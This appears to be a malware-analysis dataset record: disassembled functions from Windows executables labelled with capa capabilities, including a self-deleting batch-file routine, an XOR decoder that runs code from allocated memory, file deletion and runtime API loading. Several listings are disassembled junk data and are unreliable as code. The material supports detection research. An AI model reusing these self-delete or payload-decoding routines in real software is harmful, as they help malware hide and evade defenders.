joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4036c6
Capabilities:
Create process on windows
Resume thread
Self delete

Disassembly:
push ebp
lea ebp, [esp - 0x1e0]
sub esp, 0x260
mov eax, dword [0x42f180]
xor eax, ebp
mov dword [ebp + 0x1dc], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp + 0xd8]
push eax
xor edi, edi
push edi
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
lea eax, [ebp + 0xd8]
push eax
lea eax, [ebp - 0x2c]
push str._s.bat
push eax
call fcn.004047ba
lea eax, [ebp - 0x2c]
push 0x425fc0
push eax
call fcn.004047ba
mov ebx, eax
push str.:Repeat_n
push ebx
call fcn.00408778
lea eax, [ebp + 0xd8]
push eax
mov esi, str.del___s__n
push esi
push ebx
call fcn.00408778
lea eax, [ebp + 0xd8]
push eax
push str.if_exist___s__goto_Repeat_n
push ebx
call fcn.00408778
lea eax, [ebp - 0x2c]
push eax
push esi
push ebx
call fcn.00408778
add esp, 0x40
push ebx
call fcn.00408fa6
push 0x44
pop esi
push esi
lea eax, [ebp - 0x80]
push edi
push eax
call fcn.004076c0
add esp, 0x10
xor eax, eax
mov word [ebp - 0x50], ax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x80]
push eax
push 0x4253ac
push edi
push esi
push edi
push edi
push edi
lea eax, [ebp - 0x2c]
push eax
push edi
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x54], 1
call dword [sym.imp.kernel32.dll_CreateProcessA]
test eax, eax
je 0x4037e7
mov esi, dword [sym.imp.kernel32.dll_SetThreadPriority]
push 0xfffffffffffffff1
push dword [ebp - 0x38]
call esi
push 0xf
call dword [sym.imp.kernel32.dll_GetCurrentThread]
push eax
call esi
push 0x80
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_SetPriorityClass]
push dword [ebp - 0x3c]
mov esi, dword [sym.imp.kernel32.dll_CloseHandle]
call esi
push dword [ebp - 0x38]
call dword [sym.imp.kernel32.dll_ResumeThread]
push dword [ebp - 0x38]
call esi
mov ecx, dword [ebp + 0x1dc]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407875
add ebp, 0x1e0
leave
ret

Function at 0x403989
Capabilities:
Delete file

Disassembly:
push esi
push 0x3a
push dword [esp + 0xc]
call fcn.00407290
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x40399f
pop esi
ret
inc esi
movsx eax, byte [esi]
push eax
call fcn.004047ba
pop ecx
test eax, eax
jne 0x40399f
push esi
call dword [sym.imp.kernel32.dll_DeleteFileA]
pop esi
ret

Function at 0x4039b7
Capabilities:
Delete directory

Disassembly:
push esi
push 0x3a
push dword [esp + 0xc]
call fcn.00407290
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x4039cd
pop esi
ret
inc esi
movsx eax, byte [esi]
push eax
call fcn.004047ba
pop ecx
test eax, eax
jne 0x4039cd
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryA]
pop esi
ret
Function at 0x4044dd
Capabilities:
Delete file
Read .ini file

Disassembly:
mov eax, 0x1004
call fcn.00408e10
mov eax, dword [0x42f180]
xor eax, esp
mov dword [esp + 0x1000], eax
push ebx
push ebp
push esi
push edi
push dword [0x43292c]
mov edi, dword [sym.imp.kernel32.dll_GetPrivateProfileStringA]
mov ebp, 0x1000
push ebp
lea eax, [esp + 0x18]
push eax
mov ebx, 0x425524
push ebx
push str.title
mov esi, 0x425f40
push esi
call edi
push 0x50
pop ecx
lea eax, [esp + 0x10]
mov edx, 0x431140
call fcn.004047ba
push dword [0x43292c]
lea eax, [esp + 0x14]
push ebp
push eax
push ebx
push str.info
push esi
call edi
mov ecx, ebp
lea eax, [esp + 0x10]
mov edx, 0x431580
call fcn.004047ba
push dword [0x43292c]
push 0x50
push 0x4327c0
push ebx
push str.build_info
push esi
call edi
push dword [0x43292c]
mov ebp, dword [sym.imp.kernel32.dll_GetPrivateProfileIntA]
push 1
push str.target_compile
push esi
call ebp
push dword [0x43292c]
mov dword [0x431194], eax
push 1
push str.target_optimize
push esi
call ebp
push dword [0x43292c]
mov dword [0x431190], eax
push 0xa
push 0x432590
push ebx
push str.target_version
push esi
call edi
push dword [0x43292c]
push 0x50
push 0x4312c0
push ebx
push str.name
push str.metadata
call edi
push dword [0x43292c]
push 0x104
push 0x4311a0
push ebx
push str.install_script
push esi
call edi
push dword [0x43292c]
mov ebp, 0x431550
push 0xa
push ebp
push ebx
push str.user_access_control
push esi
call edi
push 6
mov edi, str.force
mov esi, ebp
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x40462b
call fcn.004047ba
test eax, eax
je 0x404688
call fcn.00403547
test eax, eax
jne 0x404688
call fcn.004047ba
jmp 0x4046cb
push 5
mov edi, str.auto
mov esi, ebp
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x404658
call fcn.004047ba
test eax, eax
je 0x404688
call fcn.00403547
test eax, eax
jne 0x404688
call fcn.004047ba
test eax, eax
je 0x404688
jmp 0x404621
cmp byte [0x431550], al
je 0x404688
push 5
mov edi, str.none
mov esi, ebp
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x404688
push eax
push str.oops
push str.Bad_user_access_control_value
call dword [sym.imp.USER32.dll_GetFocus]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x431140
call fcn.00402766
push eax
mov dword [0x432580], eax
call fcn.004047ba
pop ecx
pop ecx
push dword [0x432814]
call dword [sym.imp.kernel32.dll_UnmapViewOfFile]
mov eax, dword [0x43292c]
test eax, eax
je 0x4046bb
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov eax, dword [0x432930]
test eax, eax
je 0x4046cb
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
mov ecx, dword [esp + 0x1010]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00407875
add esp, 0x1004
ret
Function at 0x4047ba
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x4047c9
pop dword [ebp - 0x30]
mov eax, 0xb0ad7492
sub eax, 0xb06d2cc9
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x3d3af
push 0
mov eax, 0xdbd076d2
sub eax, 0xdb8e24ba
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x45c2
mov ebx, eax
mov edi, 0x1e2d543f
add edi, 0xe215ffc1
add edi, dword [ebp - 0x30]
mov edx, 0xb29c462
add edx, 0xa5a5d8b6
xor dword [ebp - 8], eax
mov esi, dword [edi]
xor dword [ebp - 0x24], 0x737f0dc
xor esi, edx
add dword [ebp - 4], 0x8aaa3240
mov dword [ebx], esi
sub dword [ebp - 0x1c], edi
add ebx, 0xd55cf967
add ebx, 0x2aa3069d
add edi, 0x1afcda7c
add edi, 0xe5032588
loop 0x404822
add eax, 0xcede5b11
sub eax, 0xcedd5136
mov ebx, eax
add eax, 0x50783ee2
sub eax, 0x50783edd
mov ecx, 0x928aa4d0
add ecx, 0x6db55b30
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x407875
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42f180]
jne 0x40787f
repz ret
jmp fcn.0040bbd7
Function at 0x40b4e5
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.004041e5
sub ebx, ebx
cmp dword [0x434898], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x40b5ba
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
pop edi
cmp edi, ebx
jne 0x40b525
sub eax, eax
jmp 0x40b67e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x40b51e
push eax
call fcn.00404182
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x434898], eax
call esi
push eax
call fcn.00404182
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43489c], eax
call esi
push eax
call fcn.00404182
mov dword [0x4348a0], eax
lea eax, [ebp - 8]
push eax
call fcn.004067af
test eax, eax
pop ecx
pop ecx
je 0x40b588
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403c3f
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x40b5ba
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00404182
cmp eax, ebx
pop ecx
mov dword [0x4348a8], eax
je 0x40b5ba
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404182
pop ecx
mov dword [0x4348a4], eax
mov eax, dword [0x4348a4]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x40b633
cmp dword [0x4348a8], esi
je 0x40b633
push eax
call fcn.004041ee
pop ecx
call eax
cmp eax, ebx
je 0x40b600
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4348a8]
call fcn.004041ee
pop ecx
call eax
test eax, eax
je 0x40b600
test byte [ebp - 0x18], 1
jne 0x40b633
lea eax, [ebp - 0xc]
push eax
call fcn.004067e6
test eax, eax
pop ecx
je 0x40b61b
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403c3f
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x40b62a
or dword [ebp + 0x10], 0x200000
jmp 0x40b664
or dword [ebp + 0x10], 0x40000
jmp 0x40b664
mov eax, dword [0x43489c]
cmp eax, esi
je 0x40b664
push eax
call fcn.004041ee
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40b664
mov eax, dword [0x4348a0]
cmp eax, esi
je 0x40b664
push dword [ebp - 4]
push eax
call fcn.004041ee
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x434898]
call fcn.004041ee
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x408923
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4085d8
call fcn.00408956
sub esi, 1
mov ebx, 0x69b732e8
xor dword [edi], eax
sub ebx, esi
and ebx, esi
inc edi
sub ebx, 0xc01dee95
mov ebx, ebx
cmp edi, ecx
jne fcn.00408923
and esi, ebx
ret
Function at 0x401000
Capabilities:
Accept command line arguments
Check os version

Disassembly:
sub esp, 0x110
push ebx
push esi
push edi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov eax, dword [0x85b930]
lea ecx, [esp + 0x18]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0xc]
mov dword [esp + 0xc], 8
push edx
mov dword [esp + 0x14], 4
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov dword [esp + 0x10], 0
call dword [sym.imp.USER32.dll_GetActiveWindow]
call dword [sym.imp.ole32.dll_CoUninitialize]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [esp + 0x14]
push ecx
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
test esi, esi
mov ebx, eax
je 0x40108e
mov edx, dword [esp + 0x14]
push 0x65b48c
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov ecx, ebx
xor eax, eax
and ecx, 0xff
pop edi
mov al, bh
pop esi
cmp ecx, 5
pop ebx
jne 0x4010b8
cmp eax, 1
jae 0x4010cb
mov dword [0x65ac78], 0x409
add esp, 0x110
ret
ja 0x4010cb
mov dword [0x65ac78], 0x409
add esp, 0x110
ret
mov dword [0x65ac78], 0x7f
add esp, 0x110
ret

Function at 0x401180
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov dword [esp], eax
mov edi, 8
mov esi, dword [esp]
movzx eax, byte [esi]
xor ebx, ebx
mov edx, 7
mov ecx, edx
movzx ebp, al
shr ebp, cl
mov ecx, ebp
and cl, 1
xor bl, cl
dec edx
test edx, edx
jne 0x40119a
and al, 0xfe
or bl, al
mov byte [esi], bl
inc esi
dec edi
jne 0x401190
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4011c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], 8
lea esi, [ebp + 8]
movzx edx, byte [esi]
xor ebx, ebx
mov eax, 7
mov ecx, eax
movzx edi, dl
shr edi, cl
mov ecx, edi
and cl, 1
xor bl, cl
dec eax
test eax, eax
jne 0x4011db
and dl, 1
cmp bl, dl
sete al
inc esi
dec dword [ebp - 4]
jne 0x4011d1
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x44a821
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov dword [esp], eax
mov edi, 8
mov esi, dword [esp]
movzx eax, byte [esi]
xor ebx, ebx
mov edx, 7
mov ecx, edx
movzx ebp, al
shr ebp, cl
mov ecx, ebp
and cl, 1
xor bl, cl
dec edx
test edx, edx
jne 0x44a83b
and al, 0xfe
or bl, al
mov byte [esi], bl
inc esi
dec edi
jne 0x44a831
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x44a861
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], 8
lea esi, [ebp + 8]
movzx edx, byte [esi]
xor ebx, ebx
mov eax, 7
mov ecx, eax
movzx edi, dl
shr edi, cl
mov ecx, edi
and cl, 1
xor bl, cl
dec eax
test eax, eax
jne 0x44a87c
and dl, 1
cmp bl, dl
sete al
inc esi
dec dword [ebp - 4]
jne 0x44a872
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8
Function at 0x44abf0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov dword [esp], eax
mov edi, 8
mov esi, dword [esp]
movzx eax, byte [esi]
xor ebx, ebx
mov edx, 7
mov ecx, edx
movzx ebp, al
shr ebp, cl
mov ecx, ebp
and cl, 1
xor bl, cl
dec edx
test edx, edx
jne 0x44ac0a
and al, 0xfe
or bl, al
mov byte [esi], bl
inc esi
dec edi
jne 0x44ac00
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x44ac30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], 8
lea esi, [ebp + 8]
movzx edx, byte [esi]
xor ebx, ebx
mov eax, 7
mov ecx, eax
movzx edi, dl
shr edi, cl
mov ecx, edi
and cl, 1
xor bl, cl
dec eax
test eax, eax
jne 0x44ac4b
and dl, 1
cmp bl, dl
sete al
inc esi
dec dword [ebp - 4]
jne 0x44ac41
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x494281
Capabilities:
Encode data using xor

Disassembly:
sub al, dh
xor ch, bh
and al, 0x34
or al, byte [eax - 0x5d6875b9]
mov byte [esi + 0x34], bl
test dword [eax], ecx
movzx edx, byte [esi]
xor ebx, ebx
mov eax, 7
mov ecx, eax
movzx edi, dl
shr edi, cl
mov ecx, edi
and cl, 1
xor bl, cl
dec eax
test eax, eax
jne 0x49429c
and dl, 1
cmp bl, dl
sete al
inc esi
dec dword [ebp - 4]
jne 0x494292
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x494400
Capabilities:
Accept command line arguments
Get file version info

Disassembly:
sub esp, 0x220
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edx, dword [esp + 0x230]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x234]
lea ecx, [esp + 0x24]
push 0x104
push ecx
push edx
mov word [eax], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, eax
test esi, esi
je 0x4944ff
cmp esi, 0x104
jne 0x494458
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
je 0x4944ff
lea eax, [esp + 0xc]
lea ecx, [esp + 0x24]
push eax
push ecx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov ebx, eax
test ebx, ebx
je 0x4944ff
push ebx
call fcn.0064fa4b
mov edi, eax
add esp, 4
test edi, edi
je 0x4944ff
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x18]
push ebp
push edx
push eax
xor ebp, ebp
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
test eax, eax
je 0x4944a3
lea ecx, [esp + 0x24]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov edx, dword [esp + 0x10]
push edi
push ebx
lea eax, [esp + 0x30]
push edx
push eax
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x4944e7
lea ecx, [esp + 0x20]
lea edx, [esp + 0x18]
push ecx
push edx
push str.VarFileInfoTranslation
push edi
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x4944e7
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x238]
mov ebp, 1
mov cx, word [eax]
mov word [edx], cx
push edi
call fcn.0064fa40
add esp, 4
mov eax, ebp
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x220
ret 8
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x220
ret 8
Function at 0x4945c0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov dword [esp], eax
mov edi, 8
mov esi, dword [esp]
movzx eax, byte [esi]
xor ebx, ebx
mov edx, 7
mov ecx, edx
movzx ebp, al
shr ebp, cl
mov ecx, ebp
and cl, 1
xor bl, cl
dec edx
test edx, edx
jne 0x4945da
and al, 0xfe
or bl, al
mov byte [esi], bl
inc esi
dec edi
jne 0x4945d0
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x494600
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], 8
lea esi, [ebp + 8]
movzx edx, byte [esi]
xor ebx, ebx
mov eax, 7
mov ecx, eax
movzx edi, dl
shr edi, cl
mov ecx, edi
and cl, 1
xor bl, cl
dec eax
test eax, eax
jne 0x49461b
and dl, 1
cmp bl, dl
sete al
inc esi
dec dword [ebp - 4]
jne 0x494611
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x4ddc81
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], 8
lea esi, [ebp + 8]
movzx edx, byte [esi]
xor ebx, ebx
mov eax, 7
mov ecx, eax
movzx edi, dl
shr edi, cl
mov ecx, edi
and cl, 1
xor bl, cl
dec eax
test eax, eax
jne 0x4ddc9c
and dl, 1
cmp bl, dl
sete al
inc esi
dec dword [ebp - 4]
jne 0x4ddc92
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x4ddf70
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov dword [esp], eax
mov edi, 8
mov esi, dword [esp]
movzx eax, byte [esi]
xor ebx, ebx
mov edx, 7
mov ecx, edx
movzx ebp, al
shr ebp, cl
mov ecx, ebp
and cl, 1
xor bl, cl
dec edx
test edx, edx
jne 0x4ddf8a
and al, 0xfe
or bl, al
mov byte [esi], bl
inc esi
dec edi
jne 0x4ddf80
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4ddfb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], 8
lea esi, [ebp + 8]
movzx edx, byte [esi]
xor ebx, ebx
mov eax, 7
mov ecx, eax
movzx edi, dl
shr edi, cl
mov ecx, edi
and cl, 1
xor bl, cl
dec eax
test eax, eax
jne 0x4ddfcb
and dl, 1
cmp bl, dl
sete al
inc esi
dec dword [ebp - 4]
jne 0x4ddfc1
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x527601
Capabilities:
Encode data using xor

Disassembly:
mov eax, gs
xchg ebx, eax
enter 0x6dd6, 0xffffffffffffff8c
test dword [eax], esp
mov edi, 0xb8c1fa73
inc ebx
ror dword [edi], 0xb6
push es
movzx eax, byte [esi]
xor ebx, ebx
mov edx, 7
mov ecx, edx
movzx ebp, al
shr ebp, cl
mov ecx, ebp
and cl, 1
xor bl, cl
dec edx
test edx, edx
jne 0x52761b
and al, 0xfe
or bl, al
mov byte [esi], bl
inc esi
dec edi
jne 0x527611
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x527641
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], 8
lea esi, [ebp + 8]
movzx edx, byte [esi]
xor ebx, ebx
mov eax, 7
mov ecx, eax
movzx edi, dl
shr edi, cl
mov ecx, edi
and cl, 1
xor bl, cl
dec eax
test eax, eax
jne 0x52765c
and dl, 1
cmp bl, dl
sete al
inc esi
dec dword [ebp - 4]
jne 0x527652
pop edi
pop esi
pop ebx
Function at 0x527d70
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov dword [esp], eax
mov edi, 8
mov esi, dword [esp]
movzx eax, byte [esi]
xor ebx, ebx
mov edx, 7
mov ecx, edx
movzx ebp, al
shr ebp, cl
mov ecx, ebp
and cl, 1
xor bl, cl
dec edx
test edx, edx
jne 0x527d8a
and al, 0xfe
or bl, al
mov byte [esi], bl
inc esi
dec edi
jne 0x527d80
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x527db0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], 8
lea esi, [ebp + 8]
movzx edx, byte [esi]
xor ebx, ebx
mov eax, 7
mov ecx, eax
movzx edi, dl
shr edi, cl
mov ecx, edi
and cl, 1
xor bl, cl
dec eax
test eax, eax
jne 0x527dcb
and dl, 1
cmp bl, dl
sete al
inc esi
dec dword [ebp - 4]
jne 0x527dc1
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x562cef
Capabilities:
Encode data using xor

Disassembly:
mov dh, byte [ebx]
popfd
xor bh, byte [esi + 0x749067c8]
inc edi
adc al, 0x30
inc edx
std
shl dword [ebx - 0x3e707f3c], 1
push ecx
cld
lahf
mov dword [0xd7c2], eax
ror byte [eax - 0x33], cl
enter 0x2eb2, 0xffffffffffffffb0
cmpsb byte [esi], byte es:[edi]
push edi
cli
adc edi, ecx
xor al, byte [edx + 0xd]
xchg byte [si + 0x47f1], cl
and dword [esi - 0x75663ced], ebp
dec esi
cmc
wait
dec esp
shl ebx, 1
inc esi
invalid
sub cl, byte [edx]
insb byte es:[edi], dx
je 0x562d64
cmpsd dword [esi], dword es:[edi]
xor esp, edx
adc byte [edi + 0x58], ah
sub ebx, ebx
test eax, 0x37328d9b
jnp 0x562d2a
push ebp
cmp al, 0x97
idiv byte [edx - 0x5a]
inc esi
in al, 0x68
mov ebx, 0x539da034
mov bl, 0x30
xchg ch, ch
in al, dx
jmp 0x562ca0
and bl, byte [ebp + 0x6ef77f03]
in eax, 0xb0
fsub dword [edx + 0x5090224d]
mul dword [esi - 0x21]
cmpsd dword [esi], dword es:[edi]
nop
les esp, [edx + 0x17a6b395]
dec ebp
fbstp tbyte [ebp + 0x6b]
ja 0x562d19
loope 0x562d57
push ds
adc edi, 0x4c
arpl word [ecx], ax
and eax, 0x53724cab
sbb byte [ebp + 0x5299928e], 0xd2
salc
fld xword [edx - 0x7f]
xchg edi, eax
mov byte [0x15a7adbd], al
inc esi
fstp qword [edx]
outsd dx, dword [esi]
stosd dword es:[edi], eax
test edx, 0x49dca9c9
xor edi, dword [eax]
dec eax
popal
fmul qword [ecx + 0x33]
cmp byte [eax + 0x61], cl
sbb cl, byte [ebx + 2]
jno 0x562d37
dec ebx
add dh, byte [ecx - 0x31]
mov dh, 0x61
adc al, 0x95
ror byte [ecx], 0x65
mov cl, 0x96
rol dh, 0x1c
lcall 0xe95, 0x3668275e
les esi, [ecx - 0x60]
lea edx, [eax]
jae 0x562d5d
jge 0x562da3
adc al, byte [edx]
cmp dword [ecx - 0x4240febc], 0x76
push 0x53
mov bh, 0x47
pop ss
xchg edx, eax
retf
int3

Function at 0x5713f1
Capabilities:
Encode data using xor

Disassembly:
adc al, 0xfe
inc edx
xchg esi, eax
scasd eax, dword es:[edi]
xchg dword [ebx - 0x5d], esp
cmp al, byte [edx]
rcl dword [esi - 0xa5bb909], 0x92
and al, 0xc3
and dword [edx], ebx
pop edx
mov byte [ebp - 0x41], dh
in eax, 0xb4
adc eax, 0xcc4bae80
shr edi, cl
mov ecx, edi
and cl, 1
xor bl, cl
dec eax
test eax, eax
jne 0x57140c
and dl, 1
cmp bl, dl
sete al
inc esi
dec dword [ebp - 4]
jne 0x571402
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8
Function at 0x571950
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov dword [esp], eax
mov edi, 8
mov esi, dword [esp]
movzx eax, byte [esi]
xor ebx, ebx
mov edx, 7
mov ecx, edx
movzx ebp, al
shr ebp, cl
mov ecx, ebp
and cl, 1
xor bl, cl
dec edx
test edx, edx
jne 0x57196a
and al, 0xfe
or bl, al
mov byte [esi], bl
inc esi
dec edi
jne 0x571960
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x571990
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], 8
lea esi, [ebp + 8]
movzx edx, byte [esi]
xor ebx, ebx
mov eax, 7
mov ecx, eax
movzx edi, dl
shr edi, cl
mov ecx, edi
and cl, 1
xor bl, cl
dec eax
test eax, eax
jne 0x5719ab
and dl, 1
cmp bl, dl
sete al
inc esi
dec dword [ebp - 4]
jne 0x5719a1
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x5bb001
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], 8
lea esi, [ebp + 8]
movzx edx, byte [esi]
xor ebx, ebx
mov eax, 7
mov ecx, eax
movzx edi, dl
shr edi, cl
mov ecx, edi
and cl, 1
xor bl, cl
dec eax
test eax, eax
jne 0x5bb01c
and dl, 1
cmp bl, dl
sete al
inc esi
dec dword [ebp - 4]
jne 0x5bb012
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x5bc240
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov dword [esp], eax
mov edi, 8
mov esi, dword [esp]
movzx eax, byte [esi]
xor ebx, ebx
mov edx, 7
mov ecx, edx
movzx ebp, al
shr ebp, cl
mov ecx, ebp
and cl, 1
xor bl, cl
dec edx
test edx, edx
jne 0x5bc25a
and al, 0xfe
or bl, al
mov byte [esi], bl
inc esi
dec edi
jne 0x5bc250
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x5bc280
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], 8
lea esi, [ebp + 8]
movzx edx, byte [esi]
xor ebx, ebx
mov eax, 7
mov ecx, eax
movzx edi, dl
shr edi, cl
mov ecx, edi
and cl, 1
xor bl, cl
dec eax
test eax, eax
jne 0x5bc29b
and dl, 1
cmp bl, dl
sete al
inc esi
dec dword [ebp - 4]
jne 0x5bc291
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x6058e1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], 8
lea esi, [ebp + 8]
movzx edx, byte [esi]
xor ebx, ebx
mov eax, 7
mov ecx, eax
movzx edi, dl
shr edi, cl
mov ecx, edi
and cl, 1
xor bl, cl
dec eax
test eax, eax
jne 0x6058fc
and dl, 1
cmp bl, dl
sete al
inc esi
dec dword [ebp - 4]
jne 0x6058f2
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x605f40
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov dword [esp], eax
mov edi, 8
mov esi, dword [esp]
movzx eax, byte [esi]
xor ebx, ebx
mov edx, 7
mov ecx, edx
movzx ebp, al
shr ebp, cl
mov ecx, ebp
and cl, 1
xor bl, cl
dec edx
test edx, edx
jne 0x605f5a
and al, 0xfe
or bl, al
mov byte [esi], bl
inc esi
dec edi
jne 0x605f50
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret